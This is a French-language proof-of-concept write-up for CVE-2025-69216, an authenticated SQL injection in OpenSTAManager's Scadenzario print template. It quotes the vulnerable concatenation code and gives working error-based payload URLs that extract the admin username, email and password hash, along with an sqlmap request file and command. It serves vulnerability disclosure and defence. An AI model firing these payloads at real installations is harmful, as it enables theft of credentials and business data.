
Dépôt de preuve de concept pour CVE-2025-69216, une injection SQL authentifiée dans le modèle d'impression Scadenzario d'OpenSTAManager, permettant l'extraction des identifiants administrateur et du contenu de la base de données via une SQLi basée sur les erreurs et aveugle.
| Champ | Détails |
|---|
| Identifiant CVE | CVE-2025-69216 |
| Sévérité | ÉLEVÉE |
| Avis | Voir l'avis |
| Découvert par | Lukasz Rybak |
Une vulnérabilité d'injection SQL authentifiée dans le modèle d'impression Scadenzario (Échéancier de paiement) d'OpenSTAManager permet à tout utilisateur authentifié d'extraire des données sensibles de la base de données, notamment les identifiants administrateur, les informations clients et les enregistrements financiers. La vulnérabilité permet un accès complet en lecture à la base de données via des techniques d'injection SQL basées sur les erreurs.
La vulnérabilité se trouve dans templates/scadenzario/init.php à la ligne 46, où le paramètre id_anagrafica est directement concaténé dans une requête SQL sans désinfection appropriée :
Code vulnérable :
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
La fonction get() récupère les entrées utilisateur des paramètres GET/POST sans validation. La valeur du paramètre est directement intégrée dans la chaîne de requête SQL par concaténation de chaînes au lieu d'utiliser la fonction de désinfection prepare() de l'application, permettant ainsi des attaques par injection SQL.
Cause racine :
prepare() pour la désinfection des entréesPoint d'accès affecté :
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
Fichiers affectés :
templates/scadenzario/init.php (ligne 46) - Vulnérabilité principaletemplates/scadenzario/init.php (lignes 34, 40) - Schéma similaire avec les paramètres de datepdfgen.php - Point d'entrée pour le rendu du modèle1. Confirmer la vulnérabilité - Test d'erreur de syntaxe de base :
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
Erreur de syntaxe SQL affichée dans la réponse de l'application

2. Extraire la version de la base de données - SQLi basée sur les erreurs :
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
Résultat : ~8.3.0~ (version MySQL)

3. Extraire le nom de la base de données :
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
Résultat : ~openstamanager~

4. Extraire le nom d'utilisateur administrateur :
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Résultat : ~admin~

5. Extraire l'e-mail administrateur :
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Résultat : Adresse e-mail de l'administrateur

6. Extraire le hachage du mot de passe (partiel - limite de 31 caractères XPATH) :
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Résultat : Hachage bcrypt du mot de passe

7. Exploitation automatisée avec SQLMap :
Créer le fichier de requête sqli_osm.req :
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
Exécuter SQLMap :
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
Types d'injection confirmés par SQLMap :

Qui est concerné :
Signalé par Łukasz Rybak
Ce CVE a été divulgué de manière responsable conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici sont uniquement à des fins éducatives et défensives.